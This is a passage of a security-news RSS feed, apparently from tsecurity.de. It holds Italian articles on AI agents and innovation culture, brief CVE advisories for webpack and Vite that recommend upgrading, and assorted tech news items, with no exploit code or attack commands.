<p>La trasparenza algoritmica e l’auditability sono tanto più difficili quanto più complesso è il sistema di AI Generativa, e il problema è sia tecnico che legale, spiega Degasperi. In Italia il Garante Privacy ha sempre avuto un atteggiamento severo verso questi sistemi: ha bloccato ChatGPT a pochi mesi dal lancio nel nostro Paese per le incertezze sul trattamento dei dati e quest’anno ha fatto lo stesso con il prodotto di GenAI cinese Deepseek. Degasperi non esclude che, con l’aumento dell’uso degli Agenti in ambito aziendale, arrivino più regole per il settore e obblighi di condurre regolari audit per controllare la conformità normativa dei sistemi.</p>



<p>Una seconda sfida è quella della responsabilità o della governance: che cosa succede se l’Agente commette un errore? Chi ne risponde?</p>



<p>“In Europa esiste una proposta di direttiva sulla responsabilità per i danni commessi dall’AI, ma non siamo arrivati a un quadro chiaro”, afferma Degasperi. “L’approccio prudenziale dell’AI Act, che punta sul prevenire il danno con un design sicuro appare finora come il migliore. Ma non mancano i limiti: se un team internazionale sviluppa un modello AI, in caso di problemi, quale giurisdizione vale?”.</p>



<p>Un altro impatto degli AI Agents – di cui i CIO italiani appaiono molto consapevoli – è quello sulle risorse umane.</p>



<p>“Io non credo che l’AI ci toglierà il lavoro, ma alcuni compiti sicuramente si ridurranno o spariranno, come nel customer service”, prosegue Degasperi. “Avverrà una riconfigurazione della forza lavoro e i CIO dovranno capire come gestire questa transizione in maniera equa e riflettere sulla necessità di formazione sull’uso dell’AI. Anzi, i CIO stessi dovranno approfondire la loro formazione su temi come la governance dell’AI o la compliance”.</p>



<p>Sicuramente, nell’era dell’AI, i CIO sono chiamati a collaborare più da vicino con le altre funzioni aziendali, a cominciare da quelle preposte alla cybersicurezza, agli aspetti legali e all’HR. E le imprese dovranno investire nella gestione di un cambiamento che si annuncia epocale.</p>



<h2 class="wp-block-heading">Il futuro: i superagenti e l’AI verticale</h2>



<p>Nonostante i rischi, resta il fatto che l’Agentificazione offre grandi vantaggi alle imprese perché alza il livello di automazione raggiungibile. Degasperi non prevede un’immediata adozione su larga scala e le esperienze dei CIO confermano che le aziende vogliono condurre test, affinare gli algoritmi e verificare il tasso di errore. Soprattutto, vogliono garantire il controllo sulle decisioni prese dall’AI, soprattutto se sono strategiche.</p>



<p>Nel momento in cui gli Agenti cominceranno a diffondersi, si presenterà una nuova necessità: armonizzare prodotti realizzati con Agent Builder di fornitori diversi. Per questo diversi vendor già lavorano sugli orchestratori di agenti e Forrester Research mette l’accento sulle piattaforme di intelligent automation e sulla gestione dei processi agenziali.</p>



<p>Capgemini ha definito un ulteriore passo dell’agentificazione come “ascesa del superagente”, un orchestratore di sistemi AI multipli, che ne ottimizzerà le interazioni. Nel 2025, questi progressi daranno vita a nuovi ecosistemi di intelligenza artificiale in diversi settori, consentendo nuovi livelli di efficienza e di innovazione. Si apriranno nuove opportunità in ambiti specifici che richiedono risposte rapide e flessibili a sfide inattese, come la sanità, il diritto e i servizi finanziari.</p>



<p>Infatti, diversi CIO italiani pensano che il mercato proporrà preso degli LLM verticalizzati. Sara Volino di Alia ne è convinta.</p>



<p>“Non adottiamo l’AI proprietaria, ma optiamo per algoritmi e use case che costruiamo ad hoc, sviluppandoli internamente con i nostri data scientist. Per questo sugli LLM ci siamo, per ora, messi alla finestra. Puntiamo all’indipendenza dai vendor e sull’AI Generativa, al momento, preferiamo aspettare che il mercato si stabilizzi. La mia previsione –  afferma la CIO – è che si vada verso LLM specializzati per verticale, o settore industriale, perché la qualità del risultato dipende dall’addestramento e l’addestramento deve essere verticale. Alle imprese non servono prodotti generalisti”.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2024-29180 | webpack-dev-middleware up to 5.3.3/6.1.1/7.0.x path traversal (GHSA-wr3j-pwj9-hqq6)]]></title>
<description><![CDATA[A vulnerability, which was classified as critical, was found in webpack-dev-middleware up to 5.3.3/6.1.1/7.0.x. Affected is an unknown function. The manipulation leads to path traversal.

This vulnerability is traded as CVE-2024-29180. It is possible to launch the attack remotely. There is no exp...]]></description>
<link>https://tsecurity.de/de/2722092/sicherheitsluecken/cve-2024-29180-webpack-dev-middleware-up-to-53361170x-path-traversal-ghsa-wr3j-pwj9-hqq6/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2722092/sicherheitsluecken/cve-2024-29180-webpack-dev-middleware-up-to-53361170x-path-traversal-ghsa-wr3j-pwj9-hqq6/</guid>
<pubDate>Sun, 13 Apr 2025 16:22:28 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/?kb.risk">critical</a>, was found in <a href="https://vuldb.com/?product.webpack-dev-middleware">webpack-dev-middleware up to 5.3.3/6.1.1/7.0.x</a>. Affected is an unknown function. The manipulation leads to path traversal.

This vulnerability is traded as <a href="https://vuldb.com/?source_cve.257628">CVE-2024-29180</a>. It is possible to launch the attack remotely. There is no exploit available.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Webentwicklung: Next.js 15.3 treibt den Bundler Turbopack weiter voran]]></title>
<description><![CDATA[Mit dem webpack-Nachfolger Turbopack sind nun Alpha-Builds möglich und das TypeScript-Language-Service-Plug-in ist schneller sowie zuverlässiger geworden.]]></description>
<link>https://tsecurity.de/de/2717110/it-nachrichten/webentwicklung-nextjs-153-treibt-den-bundler-turbopack-weiter-voran/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2717110/it-nachrichten/webentwicklung-nextjs-153-treibt-den-bundler-turbopack-weiter-voran/</guid>
<pubDate>Thu, 10 Apr 2025 14:45:51 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Mit dem webpack-Nachfolger Turbopack sind nun Alpha-Builds möglich und das TypeScript-Language-Service-Plug-in ist schneller sowie zuverlässiger geworden.]]></content:encoded>
</item>
<item>
<title><![CDATA[Vite Development Server Flaw Allows Attackers Bypass Path Restrictions]]></title>
<description><![CDATA[A critical security vulnerability, CVE-2025-31125, has been identified in the Vite development server. Due to improper path verification during URL request processing, attackers can bypass path restrictions and gain unauthorized access to arbitrary files on affected servers. This flaw is particul...]]></description>
<link>https://tsecurity.de/de/2705932/hacking/vite-development-server-flaw-allows-attackers-bypass-path-restrictions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2705932/hacking/vite-development-server-flaw-allows-attackers-bypass-path-restrictions/</guid>
<pubDate>Fri, 04 Apr 2025 16:06:56 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A critical security vulnerability, CVE-2025-31125, has been identified in the Vite development server. Due to improper path verification during URL request processing, attackers can bypass path restrictions and gain unauthorized access to arbitrary files on affected servers. This flaw is particularly concerning as it can be exploited by unauthenticated attackers, leaving sensitive data at risk. The […]</p>
<p>The post <a href="https://gbhackers.com/vite-development-server-flaw/">Vite Development Server Flaw Allows Attackers Bypass Path Restrictions</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-30208 | vitejs vite up to 4.5.9/5.4.14/6.0.11/6.1.1/6.2.2 information disclosure (GHSA-x574-m823-4x7w / EDB-52111)]]></title>
<description><![CDATA[A vulnerability has been found in vitejs vite up to 4.5.9/5.4.14/6.0.11/6.1.1/6.2.2 and classified as problematic. Affected by this vulnerability is an unknown functionality. The manipulation leads to information disclosure.

This vulnerability is known as CVE-2025-30208. The attack can be launch...]]></description>
<link>https://tsecurity.de/de/2704687/sicherheitsluecken/cve-2025-30208-vitejs-vite-up-to-45954146011611622-information-disclosure-ghsa-x574-m823-4x7w-edb-52111/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2704687/sicherheitsluecken/cve-2025-30208-vitejs-vite-up-to-45954146011611622-information-disclosure-ghsa-x574-m823-4x7w-edb-52111/</guid>
<pubDate>Fri, 04 Apr 2025 05:35:00 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability has been found in <a href="https://vuldb.com/?product.vitejs:vite">vitejs vite up to 4.5.9/5.4.14/6.0.11/6.1.1/6.2.2</a> and classified as <a href="https://vuldb.com/?kb.risk">problematic</a>. Affected by this vulnerability is an unknown functionality. The manipulation leads to information disclosure.

This vulnerability is known as <a href="https://vuldb.com/?source_cve.300865">CVE-2025-30208</a>. The attack can be launched remotely. Furthermore, there is an exploit available.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[[remote] Vite 6.2.2 - Arbitrary File Read]]></title>
<description><![CDATA[Vite 6.2.2 - Arbitrary File Read]]></description>
<link>https://tsecurity.de/de/2703083/poc/remote-vite-622-arbitrary-file-read/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2703083/poc/remote-vite-622-arbitrary-file-read/</guid>
<pubDate>Thu, 03 Apr 2025 11:40:43 +0200</pubDate>
<category>⚠️ PoC</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Vite 6.2.2 - Arbitrary File Read]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-24010 | vitejs vite up to 4.5.5/5.4.11/6.0.8 origin validation]]></title>
<description><![CDATA[A vulnerability classified as problematic was found in vitejs vite up to 4.5.5/5.4.11/6.0.8. Affected by this vulnerability is an unknown functionality. The manipulation leads to origin validation error.

This vulnerability is known as CVE-2025-24010. The attack can be launched remotely. There is...]]></description>
<link>https://tsecurity.de/de/2603352/sicherheitsluecken/cve-2025-24010-vitejs-vite-up-to-4555411608-origin-validation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2603352/sicherheitsluecken/cve-2025-24010-vitejs-vite-up-to-4555411608-origin-validation/</guid>
<pubDate>Sun, 09 Feb 2025 22:35:37 +0100</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/?kb.risk">problematic</a> was found in <a href="https://vuldb.com/?product.vitejs:vite">vitejs vite up to 4.5.5/5.4.11/6.0.8</a>. Affected by this vulnerability is an unknown functionality. The manipulation leads to origin validation error.

This vulnerability is known as <a href="https://vuldb.com/?source_cve.292627">CVE-2025-24010</a>. The attack can be launched remotely. There is no exploit available.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple set to launch ‘Confetti,’ a new iCloud-based e-vite service]]></title>
<description><![CDATA[Apple is preparing to launch “Confetti,” a new iCloud-based events and invite service, as early as this coming week…
The post Apple set to launch ‘Confetti,’ a new iCloud-based e-vite service appeared first on MacDailyNews.]]></description>
<link>https://tsecurity.de/de/2590814/ios-mac-os/apple-set-to-launch-confetti-a-new-icloud-based-e-vite-service/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2590814/ios-mac-os/apple-set-to-launch-confetti-a-new-icloud-based-e-vite-service/</guid>
<pubDate>Mon, 03 Feb 2025 20:06:37 +0100</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Apple is preparing to launch “Confetti,” a new iCloud-based events and invite service, as early as this coming week…</p>
<p>The post <a href="https://macdailynews.com/2025/02/03/apple-set-to-launch-confetti-a-new-icloud-based-e-vite-service/">Apple set to launch ‘Confetti,’ a new iCloud-based e-vite service</a> appeared first on <a href="https://macdailynews.com/">MacDailyNews</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Vite Vere - Empowering independence with Gemini Flash]]></title>
<description><![CDATA[Author: Google for Developers - Bewertung: 10x - Views:204 Vite Vere is a generative AI app that harness the power of cutting-edge multimodal capabilities to help users with cognitive disabilities become more independent. See how Guido, the creator, took personal inspiration and made it come to l...]]></description>
<link>https://tsecurity.de/de/2506173/videos/vite-vere-empowering-independence-with-gemini-flash/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2506173/videos/vite-vere-empowering-independence-with-gemini-flash/</guid>
<pubDate>Thu, 19 Dec 2024 00:15:36 +0100</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<enclosure url="https://i.ytimg.com/vi/5ssUg1dk1r0/maxresdefault.jpg" length="0" type="image/jpeg" />
<content:encoded><![CDATA[<p>Author: Google for Developers - Bewertung: 10x - Views:204 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/5ssUg1dk1r0?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Vite Vere is a generative AI app that harness the power of cutting-edge multimodal capabilities to help users with cognitive disabilities become more independent. See how Guido, the creator, took personal inspiration and made it come to life with Gemini Flash and Flutter.<br />
<br />
Resources:<br />
Start building with Gemini API → https://goo.gle/4fcV2cV <br />
Check out more stories of developers building with Gemini models → https://goo.gle/49INT2O <br />
<br />
Subscribe to Google for Developers → https://goo.gle/developers <br />
<br />
#GoogleAI #BuildwithGemini #FlutterinProduction<br />
<br />
Products Mentioned: Gemini, Gemini 1.5 Flash,<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2024-45812 | vitejs Vite up to 3.2.10/4.5.4/5.2.13/5.3.5/5.4.5 cross site scripting (GHSA-64vr-g452-qvp3)]]></title>
<description><![CDATA[A vulnerability, which was classified as problematic, was found in vitejs Vite up to 3.2.10/4.5.4/5.2.13/5.3.5/5.4.5. Affected is an unknown function. The manipulation leads to cross site scripting.

This vulnerability is traded as CVE-2024-45812. It is possible to launch the attack remotely. The...]]></description>
<link>https://tsecurity.de/de/2345036/sicherheitsluecken/cve-2024-45812-vitejs-vite-up-to-32104545213535545-cross-site-scripting-ghsa-64vr-g452-qvp3/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2345036/sicherheitsluecken/cve-2024-45812-vitejs-vite-up-to-32104545213535545-cross-site-scripting-ghsa-64vr-g452-qvp3/</guid>
<pubDate>Sat, 21 Sep 2024 07:07:01 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/?kb.risk">problematic</a>, was found in <a href="https://vuldb.com/?product.vitejs:vite">vitejs Vite up to 3.2.10/4.5.4/5.2.13/5.3.5/5.4.5</a>. Affected is an unknown function. The manipulation leads to cross site scripting.

This vulnerability is traded as <a href="https://vuldb.com/?source_cve.277806">CVE-2024-45812</a>. It is possible to launch the attack remotely. There is no exploit available.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2024-45811 | vitejs Vite up to 3.2.10/4.5.4/5.2.13/5.3.5/5.4.5 File Content information disclosure (GHSA-9cwx-2883-4wfx)]]></title>
<description><![CDATA[A vulnerability was found in vitejs Vite up to 3.2.10/4.5.4/5.2.13/5.3.5/5.4.5 and classified as problematic. This issue affects some unknown processing of the component File Content Handler. The manipulation leads to information disclosure.

The identification of this vulnerability is CVE-2024-4...]]></description>
<link>https://tsecurity.de/de/2340107/sicherheitsluecken/cve-2024-45811-vitejs-vite-up-to-32104545213535545-file-content-information-disclosure-ghsa-9cwx-2883-4wfx/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2340107/sicherheitsluecken/cve-2024-45811-vitejs-vite-up-to-32104545213535545-file-content-information-disclosure-ghsa-9cwx-2883-4wfx/</guid>
<pubDate>Wed, 18 Sep 2024 18:21:14 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/?product.vitejs:vite">vitejs Vite up to 3.2.10/4.5.4/5.2.13/5.3.5/5.4.5</a> and classified as <a href="https://vuldb.com/?kb.risk">problematic</a>. This issue affects some unknown processing of the component <em>File Content Handler</em>. The manipulation leads to information disclosure.

The identification of this vulnerability is <a href="https://vuldb.com/?source_cve.277799">CVE-2024-45811</a>. The attack needs to be initiated within the local network. There is no exploit available.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2024-43788 | Webpack up to 5.93.x cross site scripting (GHSA-4vvj-4cpr-p986)]]></title>
<description><![CDATA[A vulnerability has been found in Webpack up to 5.93.x and classified as problematic. This vulnerability affects unknown code. The manipulation leads to cross site scripting.

This vulnerability was named CVE-2024-43788. The attack can be initiated remotely. There is no exploit available.

It is ...]]></description>
<link>https://tsecurity.de/de/2303211/sicherheitsluecken/cve-2024-43788-webpack-up-to-593x-cross-site-scripting-ghsa-4vvj-4cpr-p986/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2303211/sicherheitsluecken/cve-2024-43788-webpack-up-to-593x-cross-site-scripting-ghsa-4vvj-4cpr-p986/</guid>
<pubDate>Wed, 28 Aug 2024 16:09:45 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability has been found in <a href="https://vuldb.com/?product.webpack">Webpack up to 5.93.x</a> and classified as <a href="https://vuldb.com/?kb.risk">problematic</a>. This vulnerability affects unknown code. The manipulation leads to cross site scripting.

This vulnerability was named <a href="https://vuldb.com/?source_cve.275962">CVE-2024-43788</a>. The attack can be initiated remotely. There is no exploit available.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Il successo dell’IA dipende da una buona cultura dell’innovazione]]></title>
<description><![CDATA[Nel 2001, Steve Jobs l’ha definita alla stregua di un successo grande quanto il PC [in inglese], mentre il venture capitalist John Doerr disse che sarebbe potuta diventare più grande di Internet [in inglese]. A quale tecnologia rivoluzionaria si riferivano? Il Segway, il dispositivo di trasporto ...]]></description>
<link>https://tsecurity.de/de/2212388/it-security-nachrichten/il-successo-dellia-dipende-da-una-buona-cultura-dellinnovazione/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2212388/it-security-nachrichten/il-successo-dellia-dipende-da-una-buona-cultura-dellinnovazione/</guid>
<pubDate>Thu, 04 Jul 2024 07:06:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Nel 2001, Steve Jobs l’ha definita alla stregua di <strong><a href="https://www.washingtonpost.com/archive/lifestyle/2001/12/04/the-invention-that-runs-on-hype/8481bee1-6c48-4c02-af00-b433e1312aa7/" rel="nofollow">un successo grande quanto il PC [in inglese]</a></strong>, mentre il venture capitalist John Doerr disse che sarebbe potuta <strong><a href="https://www.washingtonpost.com/archive/lifestyle/2001/12/04/the-invention-that-runs-on-hype/8481bee1-6c48-4c02-af00-b433e1312aa7/" rel="nofollow">diventare più grande di Internet [in inglese]</a></strong>. A quale tecnologia rivoluzionaria si riferivano? Il Segway, il dispositivo di trasporto personale che, dopo aver fatto fiasco sul mercato, è diventato sinonimo di guardie di sicurezza dei centri commerciali.</p>



<p>Il clamore intorno all’intelligenza artificiale (IA), oggi, è ancora più grande dei discorsi altisonanti sul Segway di oltre vent’anni fa. Non ho dubbi che, a lungo termine, l’IA sarà all’altezza del clamore, e rivoluzionerà le nostre vite e il nostro lavoro. Ma, nel breve periodo, rischiamo di costruire una tecnologia sorprendente e impressionante che pochi utilizzeranno.</p>



<p>La velocità di sviluppo e il potenziale non sfruttato dell’intelligenza artificiale sono sbalorditivi, ma questo non significa che l’IA diventerà automaticamente centrale nella nostra vita e nel nostro lavoro. Basti pensare al Vision Pro di Apple come esempio di una tecnologia brillante che il mondo sta ancora cercando di comprendere.</p>



<p>Se rimaniamo concentrati solo sulla creazione di capacità IA sempre migliori, rischiamo di creare una tecnologia straordinaria senza applicazioni chiare, priva di accettazione pubblica o di ritorni concreti per le aziende. Dobbiamo invece concentrarci sullo sviluppo di una cultura dell’innovazione intorno all’IA, che dia forma alla tecnologia mettendo al centro la società e le imprese. L’innovazione è ciò che porterà le aziende al successo in un futuro guidato dall’intelligenza artificiale.</p>



<h2 class="wp-block-heading">Società e affari in primo piano</h2>



<p>La tecnologia, da sola, non trasforma il modo in cui viviamo e lavoriamo. Deve invece essere abbinata all’innovazione. L’elettricità è stata una svolta tecnologica importante, ma è stata la tecnologia abbinata all’innovazione, sotto forma di elementi quali la lampadina, gli elettrodomestici e i motori elettrici per far funzionare le macchine, a essere trasformativa.</p>



<p>Qual è la differenza tra uno sviluppo tecnologico e un’innovazione? Entrambi creano qualcosa di nuovo o reimmaginano qualcosa di esistente che fornisce valore o un impatto positivo. La vera differenza sta nel fatto che le innovazioni sono anche desiderabili per gli utenti, fattibili con la tecnologia attuale e interessanti per il mercato. In altre parole, le innovazioni tengono in considerazione la società e il business, e hanno applicazioni chiare che migliorano l’esperienza degli utilizzatori, facendo sì che le persone vogliano abbracciare la tecnologia che vi sottende.</p>



<p>Gli sviluppatori di IA devono dare priorità all’innovazione, progettando le applicazioni in modo tale da porre l’adozione e l’utilizzo in primo piano. Fondamentalmente, l’intelligenza artificiale deve creare un’esperienza migliore per le persone, altrimenti rischiamo di creare sviluppi tecnologici senza un uso e un’accettazione diffusi.</p>



<h2 class="wp-block-heading">Cultura dell’innovazione</h2>



<p>Le imprese possono assolutamente promuovere una cultura dell’innovazione in cui le nuove tecnologie, compresa l’IA, sono costruite con un focus sugli usi chiari e sul valore reale. In un’azienda, possiamo promuovere questa cultura in modi chiari e concreti. Innanzitutto, occorre iniziare a definire un obiettivo finale che metta l’innovazione al centro: ciò potrà essere la stella polare del suo personale al lavoro.</p>



<p>Una volta definita una visione per l’innovazione, potranno essere creati gli elementi costitutivi dell’innovazione all’interno dell’impresa, incentrati su collaborazione e comunicazione, creatività, assunzione di rischi e azioni concrete.</p>



<h2 class="wp-block-heading">Collaborazione e comunicazione</h2>



<p>L’innovazione necessita di una comunicazione e di una collaborazione aperte. In azienda, è necessario favorire un ambiente nel quale le idee possano essere condivise liberamente, e dove tutti si sentano autorizzati a contribuire senza temere il giudizio o la gerarchia. Occorre, inoltre, promuovere la collaborazione interfunzionale, diversificata e inclusiva, in quanto le diverse prospettive spesso portano a idee rivoluzionarie. Si dovrà anche incoraggiare i team a lavorare insieme, a condividere le conoscenze, e a imparare gli uni dagli altri.</p>



<h2 class="wp-block-heading">Creatività e assunzione di rischi</h2>



<p>Mentre i dipendenti lavorano insieme, l’azienda dovrà offrire loro anche lo spazio per sperimentare, lasciando autonomia e autorità decisionale per esplorare e realizzare le idee innovative. Andrà incoraggiata l’assunzione di rischi calcolati e sarà necessario imparare sia dai successi che dai fallimenti. Gli sforzi innovativi dovranno essere celebrati e premiati, anche quando non portano a un immediato riscontro positivo. Sarà importante anche premiare una mentalità di apprendimento e offrire opportunità di formazione continua e di sviluppo delle competenze.</p>



<h2 class="wp-block-heading">Azioni concrete</h2>



<p>Inoltre, la cultura dei dipendenti dovrà essere sostenuta con azioni concrete, fornendo ai lavoratori gli strumenti e il supporto necessari a trasformare le idee in realtà. Ciò significa allocare risorse, tra cui tempo, budget e tecnologia, per sostenere le iniziative innovative. Occorrerà anche investire nella ricerca e nello sviluppo, offrire programmi di formazione e creare spazi dedicati alla sperimentazione.</p>



<p>L’impegno per l’innovazione andrà dimostrato partecipando attivamente al processo, incoraggiando i leader a tutti i livelli a impegnarsi nel pensiero innovativo, ad appropriarsi delle loro idee e a sostenere le iniziative dei loro team. Quando l’esempio verrà dato attraverso le parole e le azioni, i dipendenti seguiranno l’azienda e la cultura dell’innovazione prospererà.</p>



<h2 class="wp-block-heading">IA: assistente all’innovazione</h2>



<p>L’aspetto entusiasmante dell’intelligenza artificiale è la sua capacità effettiva di aiutare l’azienda a trarre vantaggio dalla cultura dell’innovazione al suo interno. L’IA può analizzare sistemi, processi e persino problemi, e suggerire aree di miglioramento che possono diventare il fulcro degli sforzi di innovazione dell’impresa. Le innovazioni spesso iniziano quando i problemi da risolvere diventano chiari.</p>



<p>L’intelligenza artificiale può persino suggerire soluzioni, e i suoi team possono contribuire a creare le innovazioni che le realizzano. Per esempio, un’azienda potrebbe chiedere all’IA di aiutarla a identificare quale singola opzione ridurrebbe maggiormente i tempi di inattività sulla sua linea di produzione, oppure a identificare, come principale area di miglioramento, la riduzione dei guasti dei componenti. Si potrebbe, quindi, chiedere all’IA come creare meglio quel determinato elemento, in modo che sia meno probabile che si guasti. Il risultato finale sarebbe un’innovazione, un qualcosa di ripensato che migliorerà l’esperienza di produzione, resa possibile dalla cultura aziendale e dall’intelligenza artificiale.</p>



<h2 class="wp-block-heading">Una rivoluzione nell’intelligenza e nella società</h2>



<p>Stiamo vivendo le prime fasi di una rivoluzione, in cui l’intelligenza artificiale supererà presto quella umana di diversi ordini di grandezza. In futuro, tutto ciò cambierà ogni cosa.</p>



<p>Ma la rapidità e il successo con il quale il modo in cui viviamo e lavoriamo si trasformerà non dipenderà soltanto dalla potenza della tecnologia, ma anche – anzi, soprattutto – dall’innovazione. Una grande tecnologia non può trasformare la società se non viene utilizzata. Le persone – consumatori, dipendenti, aziende, eccetera – che utilizzano l’IA quotidianamente saranno il vero tramite della sua rivoluzione.</p>



<p>Per portare l’intelligenza artificiale al livello successivo, abbiamo bisogno di persone e imprese lungimiranti che diano priorità all’innovazione. Per esempio, con prodotti come Dall-E o Midjourney, possiamo produrre graficamente tutto ciò che vogliamo. Ma se continuiamo a dare gli stessi suggerimenti che si limitano ai nostri attuali modi di pensare, otterremo solo nuove immagini di cose e idee che già esistono. Se continuiamo a chiedere all’IA di disegnare un gatto, essa si limiterà a far questo.</p>



<p>Sono le persone che applicano la tecnologia IA in modo innovativo – creando grafiche inedite per nuove applicazioni, o progettando nuovi prodotti e servizi che migliorano l’esperienza – che porteranno l’intelligenza artificiale al livello successivo.</p>



<p>Viviamo in tempi entusiasmanti. Non tutti possono vivere la nascita e l’evoluzione di una rivoluzione che ha la portata di quelle agricole e industriali ma, se ci concentriamo sull’innovazione, credo che l’IA sarà all’altezza dell’entusiasmo, trasformando il lavoro e la società in innumerevoli modi.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[[Stable Update] 2024-05-18 - Linux-Firmware, PHP, Gitlab, Qt6]]></title>
<description><![CDATA[Hello community,
here a smaller updated for you. This time we updated firmwares, php and some small fixes.
We are also still looking forward to your feedback on our stable install medias of Manjaro 24.0 Wynsdey …
Current Promotions

Find out all about our current Gaming Laptop the Hero with Manja...]]></description>
<link>https://tsecurity.de/de/2138856/unix-server/stable-update-2024-05-18-linux-firmware-php-gitlab-qt6/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2138856/unix-server/stable-update-2024-05-18-linux-firmware-php-gitlab-qt6/</guid>
<pubDate>Tue, 07 May 2024 16:41:29 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div data-theme-toc="true"> </div>
<p>Hello community,</p>
<p>here a smaller updated for you. This time we updated firmwares, php and some small fixes.<br>
We are also still looking forward to your feedback on our stable install medias of Manjaro 24.0 Wynsdey …</p>
<h3><a name="current-promotions-1" class="anchor" href="https://forum.manjaro.org/#current-promotions-1"></a>Current Promotions</h3>
<ul>
<li>Find out all about our current <strong>Gaming Laptop</strong> the <a href="https://hero.manjaro.org/">Hero</a> with Manjaro pre-installed from Spain!</li>
<li>Protect your personal data, keep yourself safe with Surfshark VPN: <a href="https://get.surfshark.net/aff_c?offer_id=6&amp;aff_id=14558-">85% OFF + 2 mo. FREE</a></li>
</ul>
<h2><a name="recent-news-2" class="anchor" href="https://forum.manjaro.org/#recent-news-2"></a>Recent News</h2>
<ul>
<li>Manjaro Team member <a class="mention" href="https://forum.manjaro.org/u/romangg">@romangg</a> has a new library project with a guest post on <a href="https://www.phoronix.com/review/the-compositor-modules-como">Phoronix</a>.</li>
<li>Some Manjaro team members attended <a href="https://forum.manjaro.org/t/manjaro-at-fosdem-2024/156525">FOSDEM 2024</a> and we showed off a prototype of the upcoming <a href="https://neo.manjaro.org/">Orange Pi Neo Handheld Gaming Console</a>!</li>
<li>Check out the new <a href="https://hero.manjaro.org/">Manjaro Slimbook Hero</a>!</li>
</ul>

Previous News
Finding information easier about Manjaro <a href="https://forum.manjaro.org/t/stable-update-2024-05-18-linux-firmware-php-gitlab-qt6/162005/1">(click for more details)</a>
<h2><a name="notable-package-updates-3" class="anchor" href="https://forum.manjaro.org/#notable-package-updates-3"></a>Notable Package Updates</h2>
<ul>
<li><strong>linux-firmware</strong> updates</li>
<li><strong>php</strong> got renewed</li>
<li>updates to <strong>gitlab</strong> related packages</li>
<li>small updates to <strong>qt6</strong></li>
</ul>
<p>A list of all package changes can be found <a href="https://gitlab.manjaro.org/-/snippets/1014/raw">here</a></p>
<h2><a name="additional-info-4" class="anchor" href="https://forum.manjaro.org/#additional-info-4"></a>Additional Info</h2>

Python 3.12 info <a href="https://forum.manjaro.org/t/stable-update-2024-05-18-linux-firmware-php-gitlab-qt6/162005/1">(click for more details)</a>

Info about AUR packages <a href="https://forum.manjaro.org/t/stable-update-2024-05-18-linux-firmware-php-gitlab-qt6/162005/1">(click for more details)</a>
